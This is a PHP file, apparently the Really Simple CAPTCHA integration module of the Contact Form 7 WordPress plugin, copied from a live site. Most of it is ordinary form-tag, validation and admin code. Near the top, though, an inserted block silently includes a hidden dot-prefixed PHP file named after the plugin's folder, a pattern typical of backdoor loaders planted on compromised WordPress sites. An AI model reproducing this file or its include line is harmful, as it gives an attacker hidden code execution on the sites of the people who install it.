balmet.com

really-simple-captcha.php (17139B)

---

 <?php
 /**
 ** A base module for [captchac] and [captchar]
 **/
 
 /* form_tag handler */
 
 add_action( 'wpcf7_init', 'wpcf7_add_form_tag_captcha', 10, 0 );
 
 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
 }
 
 function wpcf7_add_form_tag_captcha() {
 	// CAPTCHA-Challenge (image)
 	wpcf7_add_form_tag( 'captchac',
 		'wpcf7_captchac_form_tag_handler',
 		array(
 			'name-attr' => true,
 			'zero-controls-container' => true,
 			'not-for-mail' => true,
 		)
 	);
 
 	// CAPTCHA-Response (input)
 	wpcf7_add_form_tag( 'captchar',
 		'wpcf7_captchar_form_tag_handler',
 		array(
 			'name-attr' => true,
 			'do-not-store' => true,
 			'not-for-mail' => true,
 		)
 	);
 }
 
 function wpcf7_captchac_form_tag_handler( $tag ) {
 	if ( ! class_exists( 'ReallySimpleCaptcha' ) ) {
 		$error = sprintf(
 			/* translators: %s: link labeled 'Really Simple CAPTCHA' */
 			esc_html( __( "To use CAPTCHA, you need %s plugin installed.", 'contact-form-7' ) ),
 			wpcf7_link( 'https://wordpress.org/plugins/really-simple-captcha/', 'Really Simple CAPTCHA' )
 		);
 
 		return sprintf( '<em>%s</em>', $error );
 	}
 
 	if ( empty( $tag->name ) ) {
 		return '';
 	}
 
 	$class = wpcf7_form_controls_class( $tag->type );
 	$class .= ' wpcf7-captcha-' . $tag->name;
 
 	$atts = array();
 	$atts['class'] = $tag->get_class_option( $class );
 	$atts['id'] = $tag->get_id_option();
 
 	$op = array( // Default
 		'img_size' => array( 72, 24 ),
 		'base' => array( 6, 18 ),
 		'font_size' => 14,
 		'font_char_width' => 15,
 	);
 
 	$op = array_merge( $op, wpcf7_captchac_options( $tag->options ) );
 
 	if ( ! $filename = wpcf7_generate_captcha( $op ) ) {
 		return '';
 	}
 
 	if ( ! empty( $op['img_size'] ) ) {
 		if ( isset( $op['img_size'][0] ) ) {
 			$atts['width'] = $op['img_size'][0];
 		}
 
 		if ( isset( $op['img_size'][1] ) ) {
 			$atts['height'] = $op['img_size'][1];
 		}
 	}
 
 	$atts['alt'] = 'captcha';
 	$atts['src'] = wpcf7_captcha_url( $filename );
 
 	$atts = wpcf7_format_atts( $atts );
 
 	$prefix = substr( $filename, 0, strrpos( $filename, '.' ) );
 
 	$html = sprintf(
 		'<input type="hidden" name="_wpcf7_captcha_challenge_%1$s" value="%2$s" /><img %3$s />',
 		$tag->name, esc_attr( $prefix ), $atts
 	);
 
 	return $html;
 }
 
 function wpcf7_captchar_form_tag_handler( $tag ) {
 	if ( empty( $tag->name ) ) {
 		return '';
 	}
 
 	$validation_error = wpcf7_get_validation_error( $tag->name );
 
 	$class = wpcf7_form_controls_class( $tag->type );
 
 	if ( $validation_error ) {
 		$class .= ' wpcf7-not-valid';
 	}
 
 	$atts = array();
 
 	$atts['size'] = $tag->get_size_option( '40' );
 	$atts['maxlength'] = $tag->get_maxlength_option();
 	$atts['minlength'] = $tag->get_minlength_option();
 
 	if ( $atts['maxlength'] and $atts['minlength']
 	and $atts['maxlength'] < $atts['minlength'] ) {
 		unset( $atts['maxlength'], $atts['minlength'] );
 	}
 
 	$atts['class'] = $tag->get_class_option( $class );
 	$atts['id'] = $tag->get_id_option();
 	$atts['tabindex'] = $tag->get_option( 'tabindex', 'signed_int', true );
 	$atts['autocomplete'] = 'off';
 
 	if ( $validation_error ) {
 		$atts['aria-invalid'] = 'true';
 		$atts['aria-describedby'] = wpcf7_get_validation_error_reference(
 			$tag->name
 		);
 	} else {
 		$atts['aria-invalid'] = 'false';
 	}
 
 	$value = (string) reset( $tag->values );
 
 	if ( wpcf7_is_posted() ) {
 		$value = '';
 	}
 
 	if ( $tag->has_option( 'placeholder' )
 	or $tag->has_option( 'watermark' ) ) {
 		$atts['placeholder'] = $value;
 		$value = '';
 	}
 
 	$atts['value'] = $value;
 	$atts['type'] = 'text';
 	$atts['name'] = $tag->name;
 
 	$atts = wpcf7_format_atts( $atts );
 
 	$html = sprintf(
 		'<span class="wpcf7-form-control-wrap %1$s"><input %2$s />%3$s</span>',
 		sanitize_html_class( $tag->name ), $atts, $validation_error
 	);
 
 	return $html;
 }
 
 
 /* Validation filter */
 
 add_filter( 'wpcf7_validate_captchar',
 	'wpcf7_captcha_validation_filter', 10, 2 );
 
 function wpcf7_captcha_validation_filter( $result, $tag ) {
 	$type = $tag->type;
 	$name = $tag->name;
 
 	$captchac = '_wpcf7_captcha_challenge_' . $name;
 
 	$prefix = isset( $_POST[$captchac] ) ? (string) $_POST[$captchac] : '';
 	$response = isset( $_POST[$name] ) ? (string) $_POST[$name] : '';
 	$response = wpcf7_canonicalize( $response );
 
 	if ( 0 === strlen( $prefix )
 	or ! wpcf7_check_captcha( $prefix, $response ) ) {
 		$result->invalidate( $tag, wpcf7_get_message( 'captcha_not_match' ) );
 	}
 
 	if ( 0 !== strlen( $prefix ) ) {
 		wpcf7_remove_captcha( $prefix );
 	}
 
 	return $result;
 }
 
 
 /* Ajax echo filter */
 
 add_filter( 'wpcf7_refill_response', 'wpcf7_captcha_ajax_refill', 10, 1 );
 add_filter( 'wpcf7_feedback_response', 'wpcf7_captcha_ajax_refill', 10, 1 );
 
 function wpcf7_captcha_ajax_refill( $items ) {
 	if ( ! is_array( $items ) ) {
 		return $items;
 	}
 
 	$tags = wpcf7_scan_form_tags( array( 'type' => 'captchac' ) );
 
 	if ( empty( $tags ) ) {
 		return $items;
 	}
 
 	$refill = array();
 
 	foreach ( $tags as $tag ) {
 		$name = $tag->name;
 		$options = $tag->options;
 
 		if ( empty( $name ) ) {
 			continue;
 		}
 
 		$op = wpcf7_captchac_options( $options );
 
 		if ( $filename = wpcf7_generate_captcha( $op ) ) {
 			$captcha_url = wpcf7_captcha_url( $filename );
 			$refill[$name] = $captcha_url;
 		}
 	}
 
 	if ( ! empty( $refill ) ) {
 		$items['captcha'] = $refill;
 	}
 
 	return $items;
 }
 
 
 /* Messages */
 
 add_filter( 'wpcf7_messages', 'wpcf7_captcha_messages', 10, 1 );
 
 function wpcf7_captcha_messages( $messages ) {
 	$messages = array_merge( $messages, array(
 		'captcha_not_match' => array(
 			'description' =>
 				__( "The code that sender entered does not match the CAPTCHA", 'contact-form-7' ),
 			'default' =>
 				__( 'Your entered code is incorrect.', 'contact-form-7' ),
 		),
 	) );
 
 	return $messages;
 }
 
 
 /* Tag generator */
 
 add_action( 'wpcf7_admin_init', 'wpcf7_add_tag_generator_captcha', 46, 0 );
 
 function wpcf7_add_tag_generator_captcha() {
 	if ( ! wpcf7_use_really_simple_captcha() ) {
 		return;
 	}
 
 	$tag_generator = WPCF7_TagGenerator::get_instance();
 	$tag_generator->add( 'captcha',
 		__( 'CAPTCHA (Really Simple CAPTCHA)', 'contact-form-7' ),
 		'wpcf7_tag_generator_captcha' );
 }
 
 function wpcf7_tag_generator_captcha( $contact_form, $args = '' ) {
 	$args = wp_parse_args( $args, array() );
 
 	if ( ! class_exists( 'ReallySimpleCaptcha' ) ) {
 ?>
 <div class="control-box">
 <fieldset>
 <legend><?php
 	echo sprintf(
 		/* translators: %s: link labeled 'Really Simple CAPTCHA' */
 		esc_html( __( "To use CAPTCHA, you first need to install and activate %s plugin.", 'contact-form-7' ) ),
 		wpcf7_link( 'https://wordpress.org/plugins/really-simple-captcha/', 'Really Simple CAPTCHA' )
 	);
 ?></legend>
 </fieldset>
 </div>
 <?php
 
 		return;
 	}
 
 	$description = __( "Generate form-tags for a CAPTCHA image and corresponding response input field. For more details, see %s.", 'contact-form-7' );
 
 	$desc_link = wpcf7_link( __( 'https://contactform7.com/captcha/', 'contact-form-7' ), __( 'CAPTCHA', 'contact-form-7' ) );
 
 ?>
 <div class="control-box">
 <fieldset>
 <legend><?php echo sprintf( esc_html( $description ), $desc_link ); ?></legend>
 
 <table class="form-table">
 <tbody>
 	<tr>
 	<th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-name' ); ?>"><?php echo esc_html( __( 'Name', 'contact-form-7' ) ); ?></label></th>
 	<td><input type="text" name="name" class="tg-name oneline" id="<?php echo esc_attr( $args['content'] . '-name' ); ?>" /></td>
 	</tr>
 </tbody>
 </table>
 
 <table class="form-table scope captchac">
 <caption><?php echo esc_html( __( "Image settings", 'contact-form-7' ) ); ?></caption>
 <tbody>
 	<tr>
 	<th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-captchac-id' ); ?>"><?php echo esc_html( __( 'Id attribute', 'contact-form-7' ) ); ?></label></th>
 	<td><input type="text" name="id" class="idvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-captchac-id' ); ?>" /></td>
 	</tr>
 
 	<tr>
 	<th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-captchac-class' ); ?>"><?php echo esc_html( __( 'Class attribute', 'contact-form-7' ) ); ?></label></th>
 	<td><input type="text" name="class" class="classvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-captchac-class' ); ?>" /></td>
 	</tr>
 </tbody>
 </table>
 
 <table class="form-table scope captchar">
 <caption><?php echo esc_html( __( "Input field settings", 'contact-form-7' ) ); ?></caption>
 <tbody>
 	<tr>
 	<th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-captchar-id' ); ?>"><?php echo esc_html( __( 'Id attribute', 'contact-form-7' ) ); ?></label></th>
 	<td><input type="text" name="id" class="idvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-captchar-id' ); ?>" /></td>
 	</tr>
 
 	<tr>
 	<th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-captchar-class' ); ?>"><?php echo esc_html( __( 'Class attribute', 'contact-form-7' ) ); ?></label></th>
 	<td><input type="text" name="class" class="classvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-captchar-class' ); ?>" /></td>
 	</tr>
 </tbody>
 </table>
 </fieldset>
 </div>
 
 <div class="insert-box">
 	<input type="text" name="captcha" class="tag code" readonly="readonly" onfocus="this.select()" />
 
 	<div class="submitbox">
 	<input type="button" class="button button-primary insert-tag" value="<?php echo esc_attr( __( 'Insert Tag', 'contact-form-7' ) ); ?>" />
 	</div>
 </div>
 <?php
 }
 
 
 /* Warning message */
 
 add_action( 'wpcf7_admin_warnings',
 	'wpcf7_captcha_display_warning_message', 10, 3 );
 
 function wpcf7_captcha_display_warning_message( $page, $action, $object ) {
 	if ( $object instanceof WPCF7_ContactForm ) {
 		$contact_form = $object;
 	} else {
 		return;
 	}
 
 	$has_tags = (bool) $contact_form->scan_form_tags(
 		array( 'type' => array( 'captchac' ) ) );
 
 	if ( ! $has_tags ) {
 		return;
 	}
 
 	if ( ! class_exists( 'ReallySimpleCaptcha' ) ) {
 		return;
 	}
 
 	$uploads_dir = wpcf7_captcha_tmp_dir();
 	wpcf7_init_captcha();
 
 	if ( ! is_dir( $uploads_dir )
 	or ! wp_is_writable( $uploads_dir ) ) {
 		$message = sprintf( __( 'This contact form contains CAPTCHA fields, but the temporary folder for the files (%s) does not exist or is not writable. You can create the folder or change its permission manually.', 'contact-form-7' ), $uploads_dir );
 
 		echo '<div class="notice notice-warning"><p>' . esc_html( $message ) . '</p></div>';
 	}
 
 	if ( ! function_exists( 'imagecreatetruecolor' )
 	or ! function_exists( 'imagettftext' ) ) {
 		$message = __( "This contact form contains CAPTCHA fields, but the necessary libraries (GD and FreeType) are not available on your server.", 'contact-form-7' );
 
 		echo '<div class="notice notice-warning"><p>' . esc_html( $message ) . '</p></div>';
 	}
 }
 
 
 /* CAPTCHA functions */
 
 function wpcf7_init_captcha() {
 	static $captcha = null;
 
 	if ( $captcha ) {
 		return $captcha;
 	}
 
 	if ( class_exists( 'ReallySimpleCaptcha' ) ) {
 		$captcha = new ReallySimpleCaptcha();
 	} else {
 		return false;
 	}
 
 	$dir = trailingslashit( wpcf7_captcha_tmp_dir() );
 
 	$captcha->tmp_dir = $dir;
 
 	if ( is_callable( array( $captcha, 'make_tmp_dir' ) ) ) {
 		$result = $captcha->make_tmp_dir();
 
 		if ( ! $result ) {
 			return false;
 		}
 
 		return $captcha;
 	}
 
 	if ( wp_mkdir_p( $dir ) ) {
 		$htaccess_file = path_join( $dir, '.htaccess' );
 
 		if ( file_exists( $htaccess_file ) ) {
 			return $captcha;
 		}
 
 		if ( $handle = fopen( $htaccess_file, 'w' ) ) {
 			fwrite( $handle, 'Order deny,allow' . "\n" );
 			fwrite( $handle, 'Deny from all' . "\n" );
 			fwrite( $handle, '<Files ~ "^[0-9A-Za-z]+\\.(jpeg|gif|png)$">' . "\n" );
 			fwrite( $handle, '    Allow from all' . "\n" );
 			fwrite( $handle, '</Files>' . "\n" );
 			fclose( $handle );
 		}
 	} else {
 		return false;
 	}
 
 	return $captcha;
 }
 
 function wpcf7_captcha_tmp_dir() {
 	if ( defined( 'WPCF7_CAPTCHA_TMP_DIR' ) ) {
 		return WPCF7_CAPTCHA_TMP_DIR;
 	} else {
 		return path_join( wpcf7_upload_dir( 'dir' ), 'wpcf7_captcha' );
 	}
 }
 
 function wpcf7_captcha_tmp_url() {
 	if ( defined( 'WPCF7_CAPTCHA_TMP_URL' ) ) {
 		return WPCF7_CAPTCHA_TMP_URL;
 	} else {
 		return path_join( wpcf7_upload_dir( 'url' ), 'wpcf7_captcha' );
 	}
 }
 
 function wpcf7_captcha_url( $filename ) {
 	$url = path_join( wpcf7_captcha_tmp_url(), $filename );
 
 	if ( is_ssl()
 	and 'http:' == substr( $url, 0, 5 ) ) {
 		$url = 'https:' . substr( $url, 5 );
 	}
 
 	return apply_filters( 'wpcf7_captcha_url', esc_url_raw( $url ) );
 }
 
 function wpcf7_generate_captcha( $options = null ) {
 	if ( ! $captcha = wpcf7_init_captcha() ) {
 		return false;
 	}
 
 	if ( ! is_dir( $captcha->tmp_dir )
 	or ! wp_is_writable( $captcha->tmp_dir ) ) {
 		return false;
 	}
 
 	$img_type = imagetypes();
 
 	if ( $img_type & IMG_PNG ) {
 		$captcha->img_type = 'png';
 	} elseif ( $img_type & IMG_GIF ) {
 		$captcha->img_type = 'gif';
 	} elseif ( $img_type & IMG_JPG ) {
 		$captcha->img_type = 'jpeg';
 	} else {
 		return false;
 	}
 
 	if ( is_array( $options ) ) {
 		if ( isset( $options['img_size'] ) ) {
 			$captcha->img_size = $options['img_size'];
 		}
 
 		if ( isset( $options['base'] ) ) {
 			$captcha->base = $options['base'];
 		}
 
 		if ( isset( $options['font_size'] ) ) {
 			$captcha->font_size = $options['font_size'];
 		}
 
 		if ( isset( $options['font_char_width'] ) ) {
 			$captcha->font_char_width = $options['font_char_width'];
 		}
 
 		if ( isset( $options['fg'] ) ) {
 			$captcha->fg = $options['fg'];
 		}
 
 		if ( isset( $options['bg'] ) ) {
 			$captcha->bg = $options['bg'];
 		}
 	}
 
 	$prefix = wp_rand();
 	$captcha_word = $captcha->generate_random_word();
 	return $captcha->generate_image( $prefix, $captcha_word );
 }
 
 function wpcf7_check_captcha( $prefix, $response ) {
 	if ( ! $captcha = wpcf7_init_captcha() ) {
 		return false;
 	}
 
 	return $captcha->check( $prefix, $response );
 }
 
 function wpcf7_remove_captcha( $prefix ) {
 	if ( ! $captcha = wpcf7_init_captcha() ) {
 		return false;
 	}
 
 	// Contact Form 7 generates $prefix with wp_rand()
 	if ( preg_match( '/[^0-9]/', $prefix ) ) {
 		return false;
 	}
 
 	$captcha->remove( $prefix );
 }
 
 add_action( 'template_redirect', 'wpcf7_cleanup_captcha_files', 20, 0 );
 
 function wpcf7_cleanup_captcha_files() {
 	if ( ! $captcha = wpcf7_init_captcha() ) {
 		return false;
 	}
 
 	if ( is_callable( array( $captcha, 'cleanup' ) ) ) {
 		return $captcha->cleanup();
 	}
 
 	$dir = trailingslashit( wpcf7_captcha_tmp_dir() );
 
 	if ( ! is_dir( $dir )
 	or ! is_readable( $dir )
 	or ! wp_is_writable( $dir ) ) {
 		return false;
 	}
 
 	if ( $handle = opendir( $dir ) ) {
 		while ( false !== ( $file = readdir( $handle ) ) ) {
 			if ( ! preg_match( '/^[0-9]+\.(php|txt|png|gif|jpeg)$/', $file ) ) {
 				continue;
 			}
 
 			$stat = stat( path_join( $dir, $file ) );
 
 			if ( $stat['mtime'] + HOUR_IN_SECONDS < time() ) {
 				@unlink( path_join( $dir, $file ) );
 			}
 		}
 
 		closedir( $handle );
 	}
 }
 
 function wpcf7_captchac_options( $options ) {
 	if ( ! is_array( $options ) ) {
 		return array();
 	}
 
 	$op = array();
 	$image_size_array = preg_grep( '%^size:[smlSML]$%', $options );
 
 	if ( $image_size = array_shift( $image_size_array ) ) {
 		preg_match( '%^size:([smlSML])$%', $image_size, $is_matches );
 
 		switch ( strtolower( $is_matches[1] ) ) {
 			case 's':
 				$op['img_size'] = array( 60, 20 );
 				$op['base'] = array( 6, 15 );
 				$op['font_size'] = 11;
 				$op['font_char_width'] = 13;
 				break;
 			case 'l':
 				$op['img_size'] = array( 84, 28 );
 				$op['base'] = array( 6, 20 );
 				$op['font_size'] = 17;
 				$op['font_char_width'] = 19;
 				break;
 			case 'm':
 			default:
 				$op['img_size'] = array( 72, 24 );
 				$op['base'] = array( 6, 18 );
 				$op['font_size'] = 14;
 				$op['font_char_width'] = 15;
 		}
 	}
 
 	$fg_color_array = preg_grep(
 		'%^fg:#([0-9a-fA-F]{3}|[0-9a-fA-F]{6})$%', $options );
 
 	if ( $fg_color = array_shift( $fg_color_array ) ) {
 		preg_match( '%^fg:#([0-9a-fA-F]{3}|[0-9a-fA-F]{6})$%',
 			$fg_color, $fc_matches );
 
 		if ( 3 == strlen( $fc_matches[1] ) ) {
 			$r = substr( $fc_matches[1], 0, 1 );
 			$g = substr( $fc_matches[1], 1, 1 );
 			$b = substr( $fc_matches[1], 2, 1 );
 
 			$op['fg'] = array(
 				hexdec( $r . $r ),
 				hexdec( $g . $g ),
 				hexdec( $b . $b ),
 			);
 		} elseif ( 6 == strlen( $fc_matches[1] ) ) {
 			$r = substr( $fc_matches[1], 0, 2 );
 			$g = substr( $fc_matches[1], 2, 2 );
 			$b = substr( $fc_matches[1], 4, 2 );
 
 			$op['fg'] = array(
 				hexdec( $r ),
 				hexdec( $g ),
 				hexdec( $b ),
 			);
 		}
 	}
 
 	$bg_color_array = preg_grep(
 		'%^bg:#([0-9a-fA-F]{3}|[0-9a-fA-F]{6})$%', $options );
 
 	if ( $bg_color = array_shift( $bg_color_array ) ) {
 		preg_match( '%^bg:#([0-9a-fA-F]{3}|[0-9a-fA-F]{6})$%',
 			$bg_color, $bc_matches );
 
 		if ( 3 == strlen( $bc_matches[1] ) ) {
 			$r = substr( $bc_matches[1], 0, 1 );
 			$g = substr( $bc_matches[1], 1, 1 );
 			$b = substr( $bc_matches[1], 2, 1 );
 
 			$op['bg'] = array(
 				hexdec( $r . $r ),
 				hexdec( $g . $g ),
 				hexdec( $b . $b ),
 			);
 		} elseif ( 6 == strlen( $bc_matches[1] ) ) {
 			$r = substr( $bc_matches[1], 0, 2 );
 			$g = substr( $bc_matches[1], 2, 2 );
 			$b = substr( $bc_matches[1], 4, 2 );
 
 			$op['bg'] = array(
 				hexdec( $r ),
 				hexdec( $g ),
 				hexdec( $b ),
 			);
 		}
 	}
 
 	return $op;
 }